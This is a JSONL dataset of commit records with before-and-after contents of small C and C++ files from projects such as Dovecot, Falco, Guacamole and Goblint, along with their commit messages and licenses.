{"commit":"cdb6e95182e874765dd7a51155534111d186d631","old_file":"src\/roman_convert_to_int.c","new_file":"src\/roman_convert_to_int.c","old_contents":"#include <string.h>\n\n#include \"roman_convert_to_int.h\"\n\nint roman_convert_to_int(const char *numeral)\n{\n\tif (!numeral)\n\t{\n\t\treturn -1;\n\t}\n\tconst char first_letter = *numeral;\n\tswitch (first_letter)\n\t{\n\t\tcase 'I':\n\t\t\treturn 1;\n\t\tcase 'V':\n\t\t\treturn 5;\n\t\tcase 'X':\n\t\t\treturn 10;\n\t\tcase 'L':\n\t\t\treturn 50;\n\t\tcase 'C':\n\t\t\treturn 100;\n\t\tcase 'D':\n\t\t\treturn 500;\n\t\tcase 'M':\n\t\t\treturn 1000;\n\t\tdefault:\n\t\t\treturn -1;\n\t}\n}\n\n","new_contents":"#include <string.h>\n\n#include \"roman_convert_to_int.h\"\n\nint roman_convert_to_int(const char *numeral)\n{\n\tconst char first_letter = numeral ? *numeral : '?';\n\tswitch (first_letter)\n\t{\n\t\tcase 'I':\n\t\t\treturn 1;\n\t\tcase 'V':\n\t\t\treturn 5;\n\t\tcase 'X':\n\t\t\treturn 10;\n\t\tcase 'L':\n\t\t\treturn 50;\n\t\tcase 'C':\n\t\t\treturn 100;\n\t\tcase 'D':\n\t\t\treturn 500;\n\t\tcase 'M':\n\t\t\treturn 1000;\n\t\tdefault:\n\t\t\treturn -1;\n\t}\n}\n\n","subject":"Simplify error handling for missing\/unknown numerals","message":"Simplify error handling for missing\/unknown numerals\n","lang":"C","license":"mit","repos":"greghaskins\/roman-calculator.c"}
{"commit":"5ec58ad6ad9f1687ab4022bed72dc879f8940f98","old_file":"tests\/regression\/02-base\/47-no-threadescape.c","new_file":"tests\/regression\/02-base\/47-no-threadescape.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated \"['base','mallocWrapper','threadflag']\"\n#include <pthread.h>\nint g = 10;\n\nvoid* t(void *v) {\n  int* p = (int*) v;\n  *p = 4711;\n}\n\n\nint main(void){\n  int l = 42;\n\n  pthread_t tid;\n  pthread_create(&tid, NULL, t, (void *)&l);\n  pthread_join(tid, NULL);\n\n  assert(l==42); \/\/UNKNOWN!\n  return 0;\n}\n","subject":"Add failing test without threadescape","message":"Add failing test without threadescape\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"05489fc77e7bd485bf3333a7a5579e257e150fac","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.","message":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"64e8feb20086dea45debf19dacdf10bcc8587d6a","old_file":"userspace\/engine\/falco_engine_version.h","new_file":"userspace\/engine\/falco_engine_version.h","old_contents":"\/*\nCopyright (C) 2021 The Falco Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\/\/ The version of rules\/filter fields\/etc supported by this Falco\n\/\/ engine.\n#define FALCO_ENGINE_VERSION (11)\n\n\/\/ This is the result of running \"falco --list -N | sha256sum\" and\n\/\/ represents the fields supported by this version of Falco. It's used\n\/\/ at build time to detect a changed set of fields.\n#define FALCO_FIELDS_CHECKSUM \"9822482ceda8c4ee3475e698ba35a74c5e7abf971deb4e989e26415434bbd89b\"\n\n","new_contents":"\/*\nCopyright (C) 2021 The Falco Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\/\/ The version of rules\/filter fields\/etc supported by this Falco\n\/\/ engine.\n#define FALCO_ENGINE_VERSION (11)\n\n\/\/ This is the result of running \"falco --list -N | sha256sum\" and\n\/\/ represents the fields supported by this version of Falco. It's used\n\/\/ at build time to detect a changed set of fields.\n#define FALCO_FIELDS_CHECKSUM \"4de812495f8529ac20bda2b9774462b15911a51df293d59fe9ccb6b922fdeb9d\"\n\n","subject":"Update fields checksum (no changes, order only)","message":"Update fields checksum (no changes, order only)\n\nWith the new implementation of list_fields(), the order of fields\nchanged slightly. So update the checksum.\n\nSigned-off-by: Mark Stemm <1b6cbc2e568a933a16c6fa30b73e50cd507debf7@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"draios\/falco,draios\/falco,draios\/falco,draios\/falco,draios\/falco,draios\/falco,draios\/falco,draios\/falco"}
{"commit":"9fdde28b480bbdd66651b4cad1814afcfeca6698","old_file":"multiply_by_diagonal.c","new_file":"multiply_by_diagonal.c","old_contents":"","new_contents":"void multiply_by_diagonal(const int rows, const int cols,\n                          double* restrict diagonal, double* restrict matrix) {\n        \/*\n         * Multiply a matrix by a diagonal matrix (represented as a flat array\n         * of n values). The diagonal structure is exploited (so that we use\n         * n^2 multiplications instead of n^3); the product looks something\n         * like\n         *\n         *     sage: A = matrix([[a,b,c], [d,e,f],[g,h,i]]);\n         *     sage: w = matrix([[z1,0,0],[0,z2,0],[0,0,z3]]);\n         *     sage: A * w\n         *      => [a*z1 b*z2 c*z3]\n         *         [d*z1 e*z2 f*z3]\n         *         [g*z1 h*z2 i*z3]\n         *\/\n        int i, j;\n        \/* traverse the matrix in the correct order. *\/\n#ifdef USE_COL_MAJOR\n        for (j = 0; j < cols; j++)\n                for (i = 0; i < rows; i++)\n#else\n        for (i = 0; i < rows; i++)\n                for (j = 0; j < cols; j++)\n#endif\n                        matrix[ORDER(i, j, rows, cols)] *= diagonal[j];\n}\n","subject":"REFACTOR removed duplicates and created own file for this","message":"REFACTOR removed duplicates and created own file for this\n","lang":"C","license":"bsd-3-clause","repos":"VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack"}
{"commit":"c33a24ad0fc8900b1e1a4ddb1c81194a9b8feaf6","old_file":"src\/Sched.h","new_file":"src\/Sched.h","old_contents":"#ifndef SCHED_H\n#define SCHED_H\n\n#include <Input.h>\n#include <Watch.h>\n#include <Display.h>\n\n#include <unistd.h>\t\/\/ for sleep()\n\nclass Sched\n{\n\tpublic:\n\tSched(Input* input, Watch* watch, Display* display)\n\t\t: input_(input)\n\t\t, watch_(watch)\n\t\t, display_(display)\n\t{}\n\n\tpublic:\n\tvoid run()\n\t{\n\t\twhile(!shouldStop())\n\t\t{\n\t\t\tsleep(1);\n\t\t\tinput_->frame();\n\t\t \/\/ watch_->frame();\n\t\t \/\/ display_->frame();\n\t\t}\n\t}\n\n\tbool shouldStop() const\n\t{ return input_->shouldStop(); }\n\n\tprivate:\n\tInput* input_;\n\tWatch* watch_;\n\tDisplay* display_;\n};\n\n#endif\n","new_contents":"#ifndef SCHED_H\n#define SCHED_H\n\n#include <Input.h>\n#include <Watch.h>\n#include <Display.h>\n\n#include <unistd.h>\t\/\/ for sleep()\n#include <iostream>\n\nclass Sched\n{\n\tpublic:\n\tSched(Input* input, Watch* watch, Display* display)\n\t\t: input_(input)\n\t\t, watch_(watch)\n\t\t, display_(display)\n\t{}\n\n\tpublic:\n\tvoid run()\n\t{\n\t\twhile(!shouldStop())\n\t\t{\n\t\t\tsleep(1);\n\n\t\t\t\/\/ clear screen, normally this should be done in Display\n\t\t\t\/\/ but we want to fsm debug output to be shown (and not wiped away by this\n\t\t\t\/\/ clear screen)\n\t\t\tstd::cout << \"\\x1B[2J\\x1B[H\";\n\t\t\tinput_->frame();\n\t\t \/\/ watch_->frame();\n\t\t \/\/ display_->frame();\n\t\t}\n\t}\n\n\tbool shouldStop() const\n\t{ return input_->shouldStop(); }\n\n\tprivate:\n\tInput* input_;\n\tWatch* watch_;\n\tDisplay* display_;\n};\n\n#endif\n","subject":"Clear screen before each cycle","message":"Clear screen before each cycle\n","lang":"C","license":"mit","repos":"dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm,dkrikun\/casio-fsm"}
{"commit":"073a4cfe77ec0117663b30156b2eade8ca751fe9","old_file":"src\/libcsg\/modules\/io\/lammpsdumpwriter.h","new_file":"src\/libcsg\/modules\/io\/lammpsdumpwriter.h","old_contents":"\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef __VOTCA_CSG_LAMMPSDUMPWRITER_H\n#define __VOTCA_CSG_LAMMPSDUMPWRITER_H\n\n#include <stdio.h>\n#include <votca\/csg\/topology.h>\n#include <votca\/csg\/trajectorywriter.h>\n\nnamespace votca {\nnamespace csg {\n\nclass LAMMPSDumpWriter : public TrajectoryWriter {\n public:\n  void Open(std::string file, bool bAppend = false) override;\n  void Close() override;\n\n  void Write(Topology *conf) override;\n\n private:\n  FILE *_out;\n};\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n\n#endif  \/\/ __VOTCA_CSG_LAMMPSDUMPWRITER_H\n","new_contents":"\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef __VOTCA_CSG_LAMMPSDUMPWRITER_H\n#define __VOTCA_CSG_LAMMPSDUMPWRITER_H\n\n#include <stdio.h>\n#include <votca\/csg\/topology.h>\n#include <votca\/csg\/trajectorywriter.h>\n#include <votca\/tools\/unitconverter.h>\n\nnamespace votca {\nnamespace csg {\n\nclass LAMMPSDumpWriter : public TrajectoryWriter {\n public:\n  void Open(std::string file, bool bAppend = false) override;\n  void Close() override;\n\n  void Write(Topology *conf) override;\n\n private:\n  FILE *_out;\n};\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n\n#endif  \/\/ __VOTCA_CSG_LAMMPSDUMPWRITER_H\n","subject":"Add unit converter include to lammps dump writer","message":"Add unit converter include to lammps dump writer\n","lang":"C","license":"apache-2.0","repos":"votca\/csg,votca\/csg,MrTheodor\/csg,MrTheodor\/csg,MrTheodor\/csg,votca\/csg,MrTheodor\/csg,MrTheodor\/csg,votca\/csg"}
{"commit":"f980d4b926ede4fefa5bb5dae6fba6bf843bf6e9","old_file":"src\/libguac\/guacamole\/parser-constants.h","new_file":"src\/libguac\/guacamole\/parser-constants.h","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef _GUAC_PARSER_CONSTANTS_H\n#define _GUAC_PARSER_CONSTANTS_H\n\n\/**\n * Constants related to the Guacamole protocol parser.\n *\n * @file parser-constants.h\n *\/\n\n\/**\n * The maximum number of characters per instruction.\n *\/\n#define GUAC_INSTRUCTION_MAX_LENGTH 8192\n\n\/**\n * The maximum number of digits to allow per length prefix.\n *\/\n#define GUAC_INSTRUCTION_MAX_DIGITS 5\n\n\/**\n * The maximum number of elements per instruction, including the opcode.\n *\/\n#define GUAC_INSTRUCTION_MAX_ELEMENTS 64\n\n#endif\n\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef _GUAC_PARSER_CONSTANTS_H\n#define _GUAC_PARSER_CONSTANTS_H\n\n\/**\n * Constants related to the Guacamole protocol parser.\n *\n * @file parser-constants.h\n *\/\n\n\/**\n * The maximum number of characters per instruction.\n *\/\n#define GUAC_INSTRUCTION_MAX_LENGTH 8192\n\n\/**\n * The maximum number of digits to allow per length prefix.\n *\/\n#define GUAC_INSTRUCTION_MAX_DIGITS 5\n\n\/**\n * The maximum number of elements per instruction, including the opcode.\n *\/\n#define GUAC_INSTRUCTION_MAX_ELEMENTS 128\n\n#endif\n\n","subject":"Merge changes allowing up to 128 elements per Guacamole instruction.","message":"GUACAMOLE-587: Merge changes allowing up to 128 elements per Guacamole instruction.\n","lang":"C","license":"apache-2.0","repos":"apache\/guacamole-server,apache\/guacamole-server,glyptodon\/guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,apache\/guacamole-server"}
{"commit":"30909be64f02c27b012e9067c6af7f7e93e41008","old_file":"inc\/WikiWalker.h","new_file":"inc\/WikiWalker.h","old_contents":"\/\/! \\file WikiWalker.h\n\n#ifndef WIKIWALKER_H\n#define WIKIWALKER_H\n\n#include <string>\n\n#include \"CurlWikiGrabber.h\"\n#include \"Walker.h\"\n\nnamespace WikiWalker\n{\n  \/\/! main \"app\" class\n  class WikiWalker : public Walker\n  {\n  public:\n    \/*! given an URL, start collecting links\n     * \\param url start point for analysis\n     *\/\n    void startWalking(const std::string& url);\n\n    \/*! fetch not only requested article, but also linked ones.\n     * \\param depth whether to fetch linked articles as well\n     *\/\n    void setDeep(bool depth)\n    {\n      fetchGenerator = depth;\n    }\n\n    \/*! Read data from cache file.\n     * Used for initialization.\n     * \\param cacheFile file name of the cache.\n     *\/\n    void readCache(const std::string& cacheFile);\n\n    \/*! Write data to cache file.\n     * \\param cacheFile file name of the cache.\n     *\/\n    void writeCache(const std::string& cacheFile);\n\n  private:\n    CurlWikiGrabber grabber;\n    bool fetchGenerator;\n  };\n}  \/\/ namespace WikiWalker\n#endif  \/\/ WIKIWALKER_H\n","new_contents":"\/\/! \\file WikiWalker.h\n\n#ifndef WIKIWALKER_H\n#define WIKIWALKER_H\n\n#include <string>\n\n#include \"CurlWikiGrabber.h\"\n#include \"Walker.h\"\n\nnamespace WikiWalker\n{\n  \/\/! main \"app\" class\n  class WikiWalker : public Walker\n  {\n  public:\n    \/\/! Creates a new instance\n    WikiWalker() : Walker(), fetchGenerator(false), grabber()\n    {\n    }\n\n    \/*! given an URL, start collecting links\n     * \\param url start point for analysis\n     *\/\n    void startWalking(const std::string& url);\n\n    \/*! fetch not only requested article, but also linked ones.\n     * \\param depth whether to fetch linked articles as well\n     *\/\n    void setDeep(bool depth)\n    {\n      fetchGenerator = depth;\n    }\n\n    \/*! Read data from cache file.\n     * Used for initialization.\n     * \\param cacheFile file name of the cache.\n     *\/\n    void readCache(const std::string& cacheFile);\n\n    \/*! Write data to cache file.\n     * \\param cacheFile file name of the cache.\n     *\/\n    void writeCache(const std::string& cacheFile);\n\n  private:\n    CurlWikiGrabber grabber;\n    bool fetchGenerator;\n  };\n}  \/\/ namespace WikiWalker\n#endif  \/\/ WIKIWALKER_H\n","subject":"Add contructor to initialize fetchGenerator correctly","message":"Add contructor to initialize fetchGenerator correctly\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"a9afc0a1eb8cd6e5b0ea0f766f6a3a4012770679","old_file":"media\/rx\/video-rx.h","new_file":"media\/rx\/video-rx.h","old_contents":"#ifndef __VIDEO_RX_H__\n#define __VIDEO_RX_H__\n\n#include \"libavformat\/avformat.h\"\n\ntypedef struct DecodedFrame {\n\tAVFrame* pFrameRGB;\n\tuint8_t *buffer;\n} DecodedFrame;\n\ntypedef struct FrameManager {\n\tenum PixelFormat pix_fmt;\n\tvoid (*put_video_frame_rx)(uint8_t *data, int width, int height, int nframe);\n\tDecodedFrame* (*get_decoded_frame_buffer)(int width, int height);\n\tvoid (*release_decoded_frame_buffer)(void);\n} FrameManager;\n\nint start_video_rx(const char* sdp, int maxDelay, FrameManager *frame_manager);\nint stop_video_rx();\n\n#endif \/* __VIDEO_RX_H__ *\/\n","new_contents":"#ifndef __VIDEO_RX_H__\n#define __VIDEO_RX_H__\n\n#include \"libavformat\/avformat.h\"\n\ntypedef struct DecodedFrame {\n\tAVFrame* pFrameRGB;\n\tuint8_t *buffer;\n\tvoid *priv_data; \/* User private data *\/\n} DecodedFrame;\n\ntypedef struct FrameManager {\n\tenum PixelFormat pix_fmt;\n\tvoid (*put_video_frame_rx)(uint8_t *data, int width, int height, int nframe);\n\tDecodedFrame* (*get_decoded_frame_buffer)(int width, int height);\n\tvoid (*release_decoded_frame_buffer)(void);\n} FrameManager;\n\nint start_video_rx(const char* sdp, int maxDelay, FrameManager *frame_manager);\nint stop_video_rx();\n\n#endif \/* __VIDEO_RX_H__ *\/\n","subject":"Add priv_data field in DecodedFrame struct.","message":"Add priv_data field in DecodedFrame struct.\n","lang":"C","license":"lgpl-2.1","repos":"Kurento\/kc-media-native,Kurento\/kc-media-native,shelsonjava\/kc-media-native,shelsonjava\/kc-media-native"}
{"commit":"efdec03d85fbd561f27f6bbfcb10306d9dc5ba76","old_file":"tests\/simple\/test-loop-3.c","new_file":"tests\/simple\/test-loop-3.c","old_contents":"","new_contents":"\/* Challenging example: \n   To keep the relationship x = y - 1 while x <= 31 is easy.\n   The tricky part is when x = 32:\n     - We add one to x so the relationship between x and y is x = y so\n       the assertion still holds.\n     - Set err to 1.\n   Once err is one we don't update x or y anymore.\n\n   After the switch we lose whether err is 0 or 1 so we will\n   keep incrementing x and y. \n*\/\nextern int nd(void);\nextern void __VERIFIER_error(void) __attribute__((noreturn));\n#define assert(X) if(!(X)){__VERIFIER_error();}\nextern void __VERIFIER_assume (int v);\n#define assume(X) __VERIFIER_assume(X)\n\n\nint main(){\n    \/\/ Constructor\n    int x = 0;\n    int y = 1;\n\n    while (nd()) {\n        int fid = nd();\n        \/\/ We create snapshots for all state variables.\n        int nx = x;\n        int ny = y;\n        int err = 0;\n        switch (fid) {\n        case 0:\n\t  if (nx < 32) {\n\t    nx += 2;\n\t    ny += 2;\n\t  } else {\n\t    nx++;\n\t    err = 1;\n\t  }\n\t  break;\n\tdefault:;;\n        }\n        if (err == 0) {\n            \/\/ Commit state changes.\n            x = nx;\n            y = ny;\n        }\n    }\n    assert(x <= y);\n    return 0;\n}\n","subject":"Add test that is unprovable for now","message":"Add test that is unprovable for now\n","lang":"C","license":"apache-2.0","repos":"seahorn\/crab-llvm,seahorn\/crab-llvm,seahorn\/crab-llvm"}
{"commit":"e80aaa099bf8da5fc89854af50cab0e93467ee01","old_file":"solutions\/problem_10\/solution.c","new_file":"solutions\/problem_10\/solution.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include \"utils.h\"\n\n#define LIMIT 2000000\n\nunsigned long solution(){\n    unsigned long n;\n    unsigned long total_sum = 0L;\n    n = 2L;\n\n    while(n <= LIMIT){\n        if(is_prime(n) == 1){\n            total_sum = total_sum + n;\n        }\n        n += 1L;\n    }\n\n    return total_sum;\n}\n\nint main(int argc, char *argv[]){\n    unsigned_long_time_it(solution);\n    return 0;\n}\n","subject":"Add C implementation for problem 10","message":"Add C implementation for problem 10\n","lang":"C","license":"mit","repos":"mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler"}
{"commit":"0fa14ec3cba7347d58bc4e1ec10273c129b87b29","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.","message":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"018638ec7f304a4acd11b881be3d02bd6af966b4","old_file":"BindingShort.h","new_file":"BindingShort.h","old_contents":"\/\/ This file is part of nbind, copyright (C) 2014-2015 BusFaster Ltd.\n\/\/ Released under the MIT license, see LICENSE.\n\n#pragma once\n\n#ifdef BUILDING_NODE_EXTENSION\n\n#include \"Binding.h\"\n\n#define NBIND_ERR(message) nbind::Bindings::setError(message)\n\n#define NBIND_CLASS(Name) \\\n\ttemplate<class Bound> struct BindInvoker { \\\n\t\tBindInvoker(); \\\n\t\tnbind::BindClass<Name> linkage; \\\n\t\tnbind::BindDefiner<Name> definer; \\\n\t}; \\\n\tstatic struct BindInvoker<Name> bindInvoker##Name; \\\n\ttemplate<class Bound> BindInvoker<Bound>::BindInvoker():definer(#Name)\n\n#define method(name) definer.function(#name, &Bound::name)\n#define constructor definer.constructor\n\n#define NBIND_INIT(moduleName) NODE_MODULE(moduleName, nbind::Bindings::initModule)\n\n#else\n\n#define NBIND_ERR(message)\n\n#endif\n","new_contents":"\/\/ This file is part of nbind, copyright (C) 2014-2015 BusFaster Ltd.\n\/\/ Released under the MIT license, see LICENSE.\n\n#pragma once\n\n#ifdef BUILDING_NODE_EXTENSION\n\n#include \"Binding.h\"\n\n#define NBIND_ERR(message) nbind::Bindings::setError(message)\n\n#define NBIND_CLASS(Name) \\\n\ttemplate<class Bound> struct BindInvoker { \\\n\t\tBindInvoker(); \\\n\t\tnbind::BindClass<Name> linkage; \\\n\t\tnbind::BindDefiner<Name> definer; \\\n\t}; \\\n\tstatic struct BindInvoker<Name> bindInvoker##Name; \\\n\ttemplate<class Bound> BindInvoker<Bound>::BindInvoker():definer(#Name)\n\n#define method(name) definer.function(#name, &Bound::name)\n#define construct definer.constructor\n\n#define NBIND_INIT(moduleName) NODE_MODULE(moduleName, nbind::Bindings::initModule)\n\n#else\n\n#define NBIND_ERR(message)\n\n#endif\n","subject":"Fix GCC keyword conflict with simpler API.","message":"Fix GCC keyword conflict with simpler API.\n","lang":"C","license":"mit","repos":"charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind"}
